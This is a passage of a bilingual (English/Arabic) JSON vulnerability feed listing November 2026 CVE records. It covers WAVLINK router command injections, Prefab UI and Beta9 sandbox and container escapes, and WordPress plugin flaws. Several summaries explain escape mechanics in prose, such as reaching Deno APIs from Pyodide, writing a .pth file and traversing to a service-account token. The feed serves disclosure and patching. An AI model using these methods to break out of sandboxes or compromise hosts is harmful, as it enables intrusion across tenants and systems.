شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120241","advisory"],["https://vuldb.com/submit/1016041","advisory"],["https://vuldb.com/vuln/429600","ref"],["https://vuldb.com/vuln/429600/cti","ref"],["https://github.com/byseeker/Ruijie-RG-ES-Series-Switches_PreAuth_Boundary_Overflow_DoS","ref"]],"epss":0.0062,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ruijie-rg-es205gc"},{"id":"CVE-2026-120239","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T18:00:18Z","product":"WAVLINK WN553X1-B","affected":[["V260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B WireGuard CLI ioos sub_419DA8 os command injection","ar":"حقن أوامر نظام التشغيل في sub_419DA8 في /bin/ioos ضمن WireGuard CLI Handler في WAVLINK WN553X1-B"},"summary":{"en":"A vulnerability was found in WAVLINK WN553X1-B V260403_2.0.0. This vulnerability affects the function sub_419DA8 of the file /bin/ioos of the component WireGuard CLI Handler. Performing a manipulation of the argument file_id results in os command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في WAVLINK WN553X1-B V260403_2.0.0. تؤثر هذه الثغرة على الدالة sub_419DA8 في الملف /bin/ioos التابع لمكون WireGuard CLI Handler. يؤدي التلاعب بالوسيط file_id إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد. تم نشر استغلال الثغرة علنًا وقد يتم استخدامه. تم التواصل مع الشركة المصنعة مبكرًا بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120239","advisory"],["https://vuldb.com/submit/919250","advisory"],["https://vuldb.com/vuln/429598","ref"],["https://vuldb.com/vuln/429598/cti","ref"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK%20WN553X1-B%20Router/WAVLINK_WN553X1-B_wireguard_cli_command_injection.md","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120238","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T17:45:17Z","product":"WAVLINK WN553X1-B","affected":[["260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B ovpn_file ioos sub_4162A8 os command injection","ar":"حقن أوامر نظام التشغيل في WAVLINK WN553X1-B عبر sub_4162A8 في ioos لمكوّن ovpn_file"},"summary":{"en":"A vulnerability has been found in WAVLINK WN553X1-B 260403_2.0.0. This affects the function sub_4162A8 of the file /bin/ioos of the component ovpn_file Handler. Such manipulation of the argument file_id leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في WAVLINK WN553X1-B بالإصدار 260403_2.0.0. تؤثر هذه الثغرة على الدالة sub_4162A8 في الملف /bin/ioos التابع للمكوّن ovpn_file Handler. يؤدي التلاعب بالمعامل file_id إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد. تم الكشف عن استغلال الثغرة للعامة وقد يُستخدم. تم التواصل مع الشركة المصنعة في وقت مبكر بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120238","advisory"],["https://vuldb.com/submit/919248","advisory"],["https://vuldb.com/vuln/429597","ref"],["https://vuldb.com/vuln/429597/cti","ref"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK%20WN553X1-B%20Router/WAVLINK_WN553X1-B_ovpn_file_command_injection.md","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120338","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-01T16:18:14Z","product":"PrefectHQ prefab-ui","affected":[["0.14.0 – <0.21.0","0.21.0"]],"title":{"en":"Prefab UI Pyodide sandbox escape to host RCE","ar":"الهروب من بيئة العزل Pyodide في Prefab UI إلى تنفيذ أوامر عن بُعد على المضيف"},"summary":{"en":"Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including LLM-written UI. From prefab-ui 0.14.0 through 0.20.2 the launcher starts Deno with unrestricted --allow-read, --allow-write, and --allow-net, and the runner leaves the Deno API on the JavaScript global object. Pyodide's js module proxies that global, so the Python can call Deno.readTextFileSync and Deno.writeTextFileSync. A caller who can supply the code can read and write files as the server OS user, and can persist code execution by writing a .pth file into the server virtualenv's site-packages. The usual remote path is FastMCP's GenerativeUI provider, which registers the MCP tool generate_prefab_ui and forwards that tool's code argument into this sandbox. On a FastMCP server with no authentication configured, any client who can reach the server can call the tool. With authentication, any client allowed to call tools can. Generative UI is opt-in, and the host must have Deno installed. Confirmed on prefab-ui 0.20.2. Fixed in 0.21.0: after the runtime and Prefab sources load, the runner revokes Deno read, write, and network permission before it accepts code, the process is started with --no-prompt so a permission request cannot grant them again, and bootstrap network access is limited to cdn.jsdelivr.net. The fix is commit 030f074 (pull request 538).","ar":"تشغّل بيئة العزل (sandbox) الخاصة بـ Generative UI في Prefab UI شيفرة Python المقدّمة من المستدعي داخل Pyodide (وهو Python مجمّع إلى WebAssembly) ضمن عملية فرعية لـ Deno. تم توثيق هذه الميزة على أنها توفّر العزل للشيفرات غير الموثوقة، بما في ذلك واجهات المستخدم المكتوبة بواسطة نماذج اللغة الكبيرة (LLM). من الإصدار 0.14.0 حتى 0.20.2 من prefab-ui، يبدأ برنامج التشغيل Deno مع خيارات غير مقيدة هي --allow-read و--allow-write و--allow-net، ويترك المشغّل واجهة برمجة التطبيقات Deno API على الكائن العام لـ JavaScript. تقوم وحدة js في Pyodide بتمرير ذلك الكائن العام، مما يتيح لشيفرة Python استدعاء Deno.readTextFileSync وDeno.writeTextFileSync. يمكن للمستدعي الذي يمكنه تقديم الشيفرة قراءة الملفات وكتابتها بصلاحيات مستخدم نظام تشغيل الخادم، كما يمكنه استدامة تنفيذ الشيفرة عن طريق كتابة ملف .pth داخل مجلد site-packages في البيئة الافتراضية (virtualenv) للخادم. المسار البعيد المعتاد هو موفّر GenerativeUI في FastMCP، الذي يسجل أداة MCP المسماة generate_prefab_ui ويمرر وسيط code الخاص بهذه الأداة إلى بيئة العزل هذه. على خادم FastMCP لم تُضبَط فيه أي مصادقة، يمكن لأي عميل يمكنه الوصول إلى الخادم استدعاء هذه الأداة. وفي حال وجود مصادقة، يمكن لأي عميل يُسمح له باستدعاء الأدوات القيام بذلك. تُعد ميزة Generative UI اختيارية (opt-in)، ويجب أن يكون Deno مثبتًا على المضيف. تم التأكد من الثغرة في الإصدار 0.20.2 من prefab-ui. تم إصلاح الثغرة في الإصدار 0.21.0: فبعد تحميل بيئة التشغيل ومصادر Prefab، يلغي المشغّل أذونات القراءة والكتابة والشبكة لـ Deno قبل قبول الشيفرة، وتُبدأ العملية باستخدام الخيار --no-prompt حتى لا يمكن لطلب الأذونات منحها مرة أخرى، كما يُقيد الوصول إلى الشبكة أثناء التمهيد على cdn.jsdelivr.net. الإصلاح متوفر في التغيير المعتمد (commit) رقم 030f074 (طلب السحب 538)."},"refs":[["https://github.com/PrefectHQ/prefab/commit/030f074f85e0b1be0dd44b0283185aecb26337a2","patch"],["https://github.com/PrefectHQ/prefab/pull/538","patch"],["https://github.com/PrefectHQ/prefab/security/advisories/GHSA-595q-jv4r-q7j9","advisory"],["https://github.com/PrefectHQ/prefab","ref"],["https://github.com/PrefectHQ/prefab/releases/tag/v0.14.0","ref"],["https://github.com/PrefectHQ/prefab/releases/tag/v0.20.2","ref"],["https://github.com/PrefectHQ/prefab/releases/tag/v0.21.0","ref"],["https://pypi.org/project/prefab-ui/","ref"],["https://pypi.org/project/prefab-ui/0.21.0/","ref"]],"epss":0.0077,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"prefecthq-prefab-ui"},{"id":"CVE-2026-62048","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T16:00:09Z","product":"Liquid Web / StellarWP BookIt","affected":[["0 – 2.6.0.6",null]],"title":{"en":"WordPress BookIt plugin <= 2.6.0.6 - SQL Injection vulnerability","ar":"ثغرة حقن SQL في إضافة WordPress BookIt الإصدارات <= 2.6.0.6"},"summary":{"en":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Liquid Web / StellarWP BookIt bookit allows SQL Injection.This issue affects BookIt: from n/a through 2.6.0.6.","ar":"توجد ثغرة عدم تحييد العناصر الخاصة المستخدمة في أمر SQL (حقن SQL) في إضافة BookIt المقدمة من Liquid Web / StellarWP والتي تسمح بحقن SQL. تؤثر هذه المشكلة على BookIt من الإصدار n/a وحتى 2.6.0.6."},"refs":[["https://patchstack.com/database/wordpress/plugin/bookit/vulnerability/wordpress-bookit-plugin-2-6-0-6-sql-injection-vulnerability?_s_id=cve","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"liquid-web-stellarwp-bookit"},{"id":"CVE-2026-66570","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T16:00:09Z","product":"Nickboss WordPress File Upload","affected":[["0 – 5.2.1",null]],"title":{"en":"WordPress WordPress File Upload plugin <= 5.2.1 - Cross Site Scripting (XSS) vulnerability","ar":"ثغرة البرمجة بين المواقع (XSS) في إضافة WordPress WordPress File Upload الإصدارات <= 5.2.1"},"summary":{"en":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nickboss WordPress File Upload wp-file-upload allows Stored XSS.This issue affects WordPress File Upload: from n/a through 5.2.1.","ar":"توجد ثغرة عدم تحييد المدخلات بشكل صحيح أثناء توليد صفحة الويب (البرمجة بين المواقع) في إضافة WordPress File Upload المقدمة من Nickboss والتي تسمح بتخزين البرمجة بين المواقع (Stored XSS). تؤثر هذه المشكلة على WordPress File Upload من الإصدار n/a وحتى 5.2.1."},"refs":[["https://patchstack.com/database/wordpress/plugin/wp-file-upload/vulnerability/wordpress-wordpress-file-upload-plugin-5-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nickboss-wordpress-file-upload"},{"id":"CVE-2026-120232","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T15:17:23Z","product":"Horizon DataSys Reboot Restore Standard","affected":[["13.0",null],["13.1",null],["13.2",null]],"title":{"en":"Horizon DataSys Reboot Restore Standard Kernel Driver shield.sys sub_23908 memory corruption","ar":"فساد في الذاكرة في الدالة sub_23908 ضمن shield.sys في Kernel Driver لـ Horizon DataSys Reboot Restore Standard"},"summary":{"en":"A vulnerability was identified in Horizon DataSys Reboot Restore Standard up to 13.2. The impacted element is the function sub_23908 in the library shield.sys of the component Kernel Driver. Such manipulation leads to memory corruption. The attack can only be performed from a local environment. The exploit is publicly available and might be used. A fix is planned for the upcoming release.","ar":"تم رصد ثغرة في Horizon DataSys Reboot Restore Standard حتى الإصدار 13.2. يكمن العنصر المتأثر في الدالة sub_23908 داخل المكتبة shield.sys الخاصة بالمكون Kernel Driver. يؤدي هذا التلاعب إلى فساد في الذاكرة. لا يمكن تنفيذ الهجوم إلا من بيئة محلية. تتوفر أداة استغلال الثغرة علنًا وقد تُستخدم في هجمات. ومن المخطط توفير إصلاح في الإصدار القادم."},"refs":[["https://vuldb.com/cve/CVE-2026-120232","advisory"],["https://vuldb.com/submit/1001497","advisory"],["https://gist.github.com/Element2023H/a176865b1f4015e003620154f3ba103c","ref"],["https://vuldb.com/vuln/429591","ref"],["https://vuldb.com/vuln/429591/cti","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"horizon-datasys-reboot-restore-standard"},{"id":"CVE-2026-120231","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T14:45:17Z","product":"WAVLINK WN553X1-B","affected":[["V260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B OpenVPN CLI ioos sub_416568 os command injection","ar":"حقن أوامر نظام التشغيل عبر sub_416568 في ioos لمكوّن OpenVPN CLI في WAVLINK WN553X1-B"},"summary":{"en":"A vulnerability was determined in WAVLINK WN553X1-B V260403_2.0.0. The affected element is the function sub_416568 of the file /bin/ioos of the component OpenVPN CLI Handler. This manipulation of the argument file_id causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","ar":"تم تحديد ثغرة في WAVLINK WN553X1-B V260403_2.0.0. العنصر المتأثر هو الدالة sub_416568 في الملف /bin/ioos التابع للمكوّن OpenVPN CLI Handler. يؤدي هذا التلاعب بالمُعامل file_id إلى حقن أوامر نظام التشغيل. ومن الممكن شن الهجوم عن بُعد. تم الكشف عن رمز الاستغلال علنًا وقد يتم استخدامه. تم التواصل مع المورّد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120231","advisory"],["https://vuldb.com/submit/919247","advisory"],["https://vuldb.com/vuln/429590","ref"],["https://vuldb.com/vuln/429590/cti","ref"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK%20WN553X1-B%20Router/WAVLINK_WN553X1-B_openvpn_cli_command_injection.md","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120229","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T14:18:53Z","product":"WAVLINK WN553X1-B","affected":[["260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B ioos sub_416B50 os command injection","ar":"حقن أوامر نظام التشغيل في sub_416B50 في ioos لـ WAVLINK WN553X1-B"},"summary":{"en":"A vulnerability has been found in WAVLINK WN553X1-B 260403_2.0.0. This issue affects the function sub_416B50 of the file /bin/ioos. The manipulation of the argument file_id leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في WAVLINK WN553X1-B 260403_2.0.0. تؤثر هذه المشكلة على الدالة sub_416B50 في الملف /bin/ioos. يؤدي التلاعب بالوسيط file_id إلى حقن أوامر نظام التشغيل. يُمكن تنفيذ الهجوم عن بُعد. تم الكشف عن تفاصيل الاستغلال للعلن وقد يتم استخدامها. تم التواصل مع المورد مبكرًا بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120229","advisory"],["https://vuldb.com/submit/919153","advisory"],["https://github.com/senxitoyshuyi-ui/IOT-CVE/blob/main/vulns/WAVLINK_WN553X1-B_check_pwd_command_injection.md","ref"],["https://vuldb.com/vuln/429588","ref"],["https://vuldb.com/vuln/429588/cti","ref"]],"epss":0.0282,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120230","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T14:15:16Z","product":"WAVLINK WN701AE","affected":[["260105",null]],"title":{"en":"WAVLINK WN701AE ioos Web Backend del_vlan_group os command injection","ar":"حقن أوامر نظام التشغيل في del_vlan_group في ioos Web Backend لـ WAVLINK WN701AE"},"summary":{"en":"A vulnerability was found in WAVLINK WN701AE 260105. Impacted is the function del_vlan_group of the component ioos Web Backend. The manipulation of the argument vlan_name results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في WAVLINK WN701AE 260105. يتأثر بها المكون ioos Web Backend والدالة del_vlan_group. يؤدي التلاعب بالوسيط vlan_name إلى حقن أوامر نظام التشغيل. قد يتم تنفيذ الهجوم عن بُعد. تم الكشف عن تفاصيل الاستغلال للعلن وقد يتم استخدامها. تم التواصل مع المورد مبكرًا بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120230","advisory"],["https://vuldb.com/submit/919242","advisory"],["https://vuldb.com/vuln/429589","ref"],["https://vuldb.com/vuln/429589/cti","ref"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK_WN701AE_del_vlan_group.md","ref"]],"epss":0.0221,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn701ae"},{"id":"CVE-2026-120228","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T13:45:13Z","product":"WAVLINK WN553X1-B","affected":[["V260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B ioos Service sub_416D88 os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في خدمة ioos ضمن الملف sub_416D88 في منتج WAVLINK WN553X1-B ioos Service"},"summary":{"en":"A flaw has been found in WAVLINK WN553X1-B V260403_2.0.0. This vulnerability affects the function sub_416D88 of the file /bin/ioos of the component ioos Service. Executing a manipulation of the argument group_id/group_name can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في الإصدار V260403_2.0.0 من منتج WAVLINK WN553X1-B. تؤثر هذه الثغرة على الدالة sub_416D88 في الملف /bin/ioos التابع للمكون ioos Service. يمكن أن يؤدي التلاعب بمعامل group_id/group_name إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد. وقد تم نشر استغلال لهذه الثغرة وقد يُستخدم. تم التواصل مع المورد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120228","advisory"],["https://vuldb.com/submit/919151","advisory"],["https://vuldb.com/vuln/429587","ref"],["https://vuldb.com/vuln/429587/cti","ref"],["https://github.com/senxitoyshuyi-ui/IOT-CVE/blob/main/vulns/WAVLINK%20WN553X1-B%20Router.md","ref"]],"epss":0.0165,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120306","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-269","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-01T13:18:01Z","product":"beam-cloud Beta9 worker","affected":[["0 – <0.1.756","0.1.756"]],"title":{"en":"Beta9 build sandbox escape via chroot-only isolation","ar":"الهروب من بيئة بناء Beta9 المعزولة عبر العزل بأسلوب chroot فقط"},"summary":{"en":"Beta9 turns each shell command in a tenant image definition into a Dockerfile RUN line and executes it with Buildah on the build worker. The worker image sets BUILDAH_ISOLATION=chroot, and no buildah invocation passes --isolation, so the step only changes its filesystem root. It keeps the worker pod's PID, network, IPC, and user namespaces, runs as uid 0, and holds CAP_DAC_OVERRIDE. PID 1 in that procfs is the worker entrypoint, so /proc/1/root is the worker container's filesystem and is writable. That filesystem contains the runc, buildah, and runsc binaries the worker uses to start tenant containers, the worker's Kubernetes service account token, and the host directories mounted into the pod. Worker pods are privileged. Clip v2 layered builds are the default, so a tenant with a workspace token reaches this by submitting one image build. The read-only proof confirmed the shared namespaces, CAP_DAC_OVERRIDE, and that the worker's runc binary is visible at /proc/1/root. Fixed in worker 0.1.756: Buildah RUN steps, including the WORKDIR mkdir, use OCI isolation with private PID, IPC, and network namespaces, and tenant ARG values are passed only into the build container.","ar":"يحوّل Beta9 كل أمر shell في تعريف صورة المستأجر إلى سطر RUN في Dockerfile وينفّذه باستخدام Buildah على عامل البناء. تُحدد صورة العامل المتغير BUILDAH_ISOLATION=chroot، ولا يمرر أي استدعاء لـ buildah الخيار --isolation، مما يجعل الخطوة تغير جذر نظام الملفات الخاص بها فقط. وتحتفظ بمساحات أسماء PID وnetwork وIPC وuser الخاصة بمظروف العامل، وتعمل بصلاحية uid 0، وتحمل CAP_DAC_OVERRIDE. يُعد PID 1 في procfs ذاك هو نقطة الدخول للعامل، لذا فإن /proc/1/root هو نظام ملفات حاوية العامل ويكون قابلاً للكتابة. يحتوي نظام الملفات هذا على ملفات runc وbuildah وrunsc الثنائية التي يستخدمها العامل لبدء حاويات المستأجرين، ورمز حساب خدمة Kubernetes الخاص بالعامل، ومسارات المضيف المحملة في المظروف. تُعد مظاريف العامل ذات صلاحيات عالية. تُعد البناءات المتعددة الطبقات لـ Clip v2 هي الافتراضية، لذا يمكن للمستأجر الذي يملك رمز مساحة عمل الوصول إلى ذلك عن طريق تقديم بناء صورة واحد. أكد إثبات المفهوم للقراءة فقط مساحات الأسماء المشتركة، وCAP_DAC_OVERRIDE، وكون الملف الثنائي runc الخاص بالعامل مرئيًا عند /proc/1/root. تم الإصلاح في الاصدار 0.1.756 من العامل: تستخدم خطوات RUN في Buildah، بما في ذلك mkdir الخاصة بـ WORKDIR، عزل OCI مع مساحات أسماء PID وIPC وnetwork خاصة، وتُمرر قيم ARG الخاصة بالمستأجر فقط إلى حاوية البناء."},"refs":[["https://github.com/beam-cloud/beta9/commit/a28bf12cf0007c792a25d8ed282b4e8bf6f30393","patch"],["https://github.com/beam-cloud/beta9/pull/1897","patch"],["https://github.com/beam-cloud/beta9","ref"],["https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.756","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"beam-cloud-beta9-worker"},{"id":"CVE-2026-120307","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-22","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-01T13:18:01Z","product":"beam-cloud Beta9 worker","affected":[["0 – <0.1.756","0.1.756"]],"title":{"en":"Beta9 container escape via unvalidated sandbox file paths","ar":"الهروب من حاوية Beta9 عبر مسارات ملفات غير موثوق من صحتها في البيئة المعزولة"},"summary":{"en":"The Beta9 worker serves the sandbox file API from outside the container. getHostPathFromContainerPath turns the tenant's container path into a worker path. If the unresolved path starts with a mount destination, including the default upload mount at /tmp/.beta9, the remainder is joined onto that mount's source with filepath.Join, which cleans parent-directory segments after the prefix check. A long enough run of those segments names any absolute path on the worker. A path that matches no mount is joined onto the container root and opened in the worker's own filesystem, so an absolute symbolic link such as /var/run pointing at /run is followed against the worker root. Upload, download, stat, list, find-in-files, replace-in-files, and delete-file all call this helper. A tenant with a workspace token and one running sandbox can read, write, list, and delete files on the hosting worker as root, including files of other tenants on that machine. A read-only proof downloaded the worker pod's Kubernetes service account token through the file API for a path that did not exist inside the sandbox. In the shipped remote-node manifests that service account is bound to cluster-admin. Fixed in worker 0.1.756: sandbox file operations and workspace sync open paths with os.OpenRoot, so parent-directory and symlink lookups stay inside the container root or the mount source.","ar":"يقدم عامل Beta9 واجهة برمجة تطبيقات ملفات البيئة المعزولة من خارج الحاوية. تحول الدالة getHostPathFromContainerPath مسار حاوية المستأجر إلى مسار عامل. إذا بدأ المسار غير المحلول بوجهة تحميل، بما في ذلك نقطة تحميل الرفع الافتراضية عند /tmp/.beta9، فيتم دمج الجزء المتبقي مع مصدر تلك النقطة باستخدام filepath.Join، والتي تنظف أجزاء الدليل الأب بعد فحص البادئة. تتيح سلسلة طويلة كافية من تلك الأجزاء تسمية أي مسار مطلق على العامل. أما المسار الذي لا يطابق أي نقطة تحميل فيتم دمجه مع جذر الحاوية وفتحه في نظام الملفات الخاص بالعامل نفسه، بحيث يتم تتبع الرابط الرمزي المطلق مثل /var/run الذي يشير إلى /run مقابل جذر العامل. تستدعي عمليات Upload وdownload وstat وlist وfind-in-files وreplace-in-files وdelete-file هذا المساعد بالكامل. يمكن للمستأجر الذي يملك رمز مساحة عمل وبيئة معزولة قيد التشغيل قراءة الملفات وكتابتها وسردها وحذفها على العامل المستضيف بصفته root، بما في ذلك ملفات المستأجرين الآخرين على تلك الأجهزة. قام إثبات مفهوم للقراءة فقط بتنزيل رمز حساب خدمة Kubernetes الخاص بمظروف العامل من خلال واجهة برمجة تطبيقات الملفات لمسار غير موجود داخل البيئة المعزولة. في بيانات البيان الخاصة بالعقد البعيدة المشحونة، يكون حساب الخدمة هذا مرتبطًا بـ cluster-admin. تم الإصلاح في الإصدار 0.1.756 من العامل: تفتح عمليات ملفات البيئة المعزولة ومزامنة مساحة العمل المسارات باستخدام os.OpenRoot، بحيث تظل عمليات البحث عن الدليل الأب والروابط الرمزية داخل جذر الحاوية أو مصدر التحميل."},"refs":[["https://github.com/beam-cloud/beta9/commit/a28bf12cf0007c792a25d8ed282b4e8bf6f30393","patch"],["https://github.com/beam-cloud/beta9/pull/1897","patch"],["https://github.com/beam-cloud/beta9","ref"],["https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.756","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"beam-cloud-beta9-worker"},{"id":"CVE-2026-120227","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T13:18:00Z","product":"WAVLINK WN701AE","affected":[["M01AE_V260105",null]],"title":{"en":"WAVLINK WN701AE ioos Web Backend static_route_setting.sh del_staticrule os command injection","ar":"حقن أوامر نظام التشغيل في دالة del_staticrule ضمن ملف static_route_setting.sh في الخلفية البرمجية لـ ioos Web في جهاز WAVLINK WN701AE"},"summary":{"en":"A vulnerability was detected in WAVLINK WN701AE M01AE_V260105. This affects the function del_staticrule of the file static_route_setting.sh of the component ioos Web Backend. Performing a manipulation of the argument rule_name results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في WAVLINK WN701AE M01AE_V260105. تؤثر هذه الثغرة على الدالة del_staticrule في الملف static_route_setting.sh الخاص بالمكون ioos Web Backend. ينجُم عن التلاعب بالوسيط rule_name حقن أوامر نظام التشغيل. يُعد الاستغلال عن بُعد للهجوم ممكنًا. أصبح استغلال الثغرة علنيًا الآن وقد يتم استخدامه. تم الاتصال بالمورد في وقت مبكر بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120227","advisory"],["https://vuldb.com/submit/918620","advisory"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK%20WN701AE.md","ref"],["https://vuldb.com/vuln/429586","ref"],["https://vuldb.com/vuln/429586/cti","ref"]],"epss":0.0221,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn701ae"},{"id":"CVE-2026-120308","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-01T12:51:50Z","product":"beam-cloud Beta9 gateway","affected":[["0 – <0.1.776","0.1.776"],["0 – <0.1.756","0.1.756"]],"title":{"en":"Beta9 host filesystem exposure via volume path traversal","ar":"تعرض نظام ملفات المضيف في Beta9 عبر اجتاز مسار وحدة التخزين"},"summary":{"en":"A Beta9 tenant can attach a volume when deploying a function, endpoint, or task queue. The gateway builds the host path by joining the shared volumes root, the workspace name, and the volume identifier from the stub configuration. Nothing checks that the identifier names a volume that workspace owns. Parent-directory segments in the identifier collapse the joined path to the worker's filesystem root, and the worker bind-mounts that path into the sandbox read-write unless the volume was explicitly marked read-only. A tenant with a workspace token can therefore read and write the worker's files, including other tenants' volumes stored on that machine. Confirmed against gateway 0.1.769 and worker 0.1.745. Fixed in gateway 0.1.776 